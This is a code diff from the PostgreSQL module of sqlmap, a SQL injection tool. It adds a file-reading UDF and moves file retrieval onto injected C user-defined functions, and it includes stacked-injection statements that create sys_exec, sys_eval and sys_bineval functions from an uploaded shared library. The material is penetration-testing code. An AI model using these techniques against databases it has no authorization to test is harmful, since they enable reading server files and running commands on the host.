@@ -61,19 +61,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
6161 def __init__ (self ):
6262 self .excludeDbsList = PGSQL_SYSTEM_DBS
6363 self .sysUdfs = {
64- # UDF name: UDF parameters' input data-type and return data-type
65- "sys_exec" : {
66- "input" : [ "text" ],
67- "return" : "int4"
68- },
69- "sys_eval" : {
70- "input" : [ "text" ],
71- "return" : "text"
72- },
73- "sys_bineval" : {
74- "input" : [ "text" ],
75- "return" : "int4"
76- }
64+ # UDF name: UDF parameters' input data-type and return data-type
65+ "sys_exec" : { "input" : [ "text" ], "return" : "int4" },
66+ "sys_eval" : { "input" : [ "text" ], "return" : "text" },
67+ "sys_bineval" : { "input" : [ "text" ], "return" : "int4" },
68+ "sys_fileread" : { "input" : [ "text" ], "return" : "text" }
7769 }
7870
7971 Enumeration .__init__ (self , "PostgreSQL" )
@@ -301,40 +293,12 @@ def unionReadFile(self, rFile):
301293 raise sqlmapUnsupportedFeatureException , errMsg
302294
303295 def stackedReadFile (self , rFile ):
304- warnMsg = "binary file read on PostgreSQL is not yet supported, "
305- warnMsg += "if the requested file is binary, its content will not "
306- warnMsg += "be retrieved"
307- logger .warn (warnMsg )
308-
309296 infoMsg = "fetching file: '%s'" % rFile
310297 logger .info (infoMsg )
311298
312- result = []
313-
314- self .createSupportTbl (self .fileTblName , self .tblField , "bytea" )
315-
316- logger .debug ("loading the content of file '%s' into support table" % rFile )
317- inject .goStacked ("COPY %s(%s) FROM '%s'" % (self .fileTblName , self .tblField , rFile ))
318-
319- if kb .unionPosition :
320- result = inject .getValue ("SELECT ENCODE(%s, 'base64') FROM %s" % (self .tblField , self .fileTblName ), unpack = False , resumeValue = False , sort = False )
321-
322- if not result :
323- result = []
324- count = inject .getValue ("SELECT COUNT(%s) FROM %s" % (self .tblField , self .fileTblName ), resumeValue = False , charsetType = 2 )
299+ self .initEnv ()
325300
326- if not count .isdigit () or not len (count ) or count == "0" :
327- errMsg = "unable to retrieve the content of the "
328- errMsg += "file '%s'" % rFile
329- raise sqlmapNoneDataException , errMsg
330-
331- indexRange = getRange (count )
332-
333- for index in indexRange :
334- chunk = inject .getValue ("SELECT ENCODE(%s, 'base64') FROM %s OFFSET %d LIMIT 1" % (self .tblField , self .fileTblName , index ), unpack = False , resumeValue = False , sort = False )
335- result .append (chunk )
336-
337- return result
301+ return self .udfEvalCmd (cmd = "'%s'" % rFile , udfName = "sys_fileread" )
338302
339303 def unionWriteFile (self , wFile , dFile , fileType , confirm = True ):
340304 errMsg = "PostgreSQL does not support file upload with UNION "
@@ -429,22 +393,7 @@ def udfSetRemotePath(self):
429393 # read/write/execute access is valid
430394 self .udfRemoteFile = "/tmp/%s.%s" % (self .udfSharedLibName , self .udfSharedLibExt )
431395
432- def udfCreateFromSharedLib (self , udf , inpRet ):
433- if udf in self .udfToCreate :
434- logger .info ("creating UDF '%s' from the binary UDF file" % udf )
435-
436- inp = ", " .join (i for i in inpRet ["input" ])
437- ret = inpRet ["return" ]
438-
439- # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
440- inject .goStacked ("DROP FUNCTION %s" % udf )
441- inject .goStacked ("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf , inp , ret , self .udfRemoteFile , udf ))
442-
443- self .createdUdf .add (udf )
444- else :
445- logger .debug ("keeping existing UDF '%s' as requested" % udf )
446-
447- def udfInjectCmd (self ):
396+ def udfSetLocalPaths (self ):
448397 self .udfLocalFile = paths .SQLMAP_UDF_PATH
449398 self .udfSharedLibName = "libsqlmapudf%s" % randomStr (lowercase = True )
450399
@@ -469,8 +418,20 @@ def udfInjectCmd(self):
469418 self .udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
470419 self .udfSharedLibExt = "so"
471420
472- self .checkNeededUdfs ()
473- self .udfInjectCore (self .sysUdfs )
421+ def udfCreateFromSharedLib (self , udf , inpRet ):
422+ if udf in self .udfToCreate :
423+ logger .info ("creating UDF '%s' from the binary UDF file" % udf )
424+
425+ inp = ", " .join (i for i in inpRet ["input" ])
426+ ret = inpRet ["return" ]
427+
428+ # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
429+ inject .goStacked ("DROP FUNCTION %s" % udf )
430+ inject .goStacked ("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf , inp , ret , self .udfRemoteFile , udf ))
431+
432+ self .createdUdf .add (udf )
433+ else :
434+ logger .debug ("keeping existing UDF '%s' as requested" % udf )
474435
475436 def uncPathRequest (self ):
476437 self .createSupportTbl (self .fileTblName , self .tblField , "text" )
0 commit comments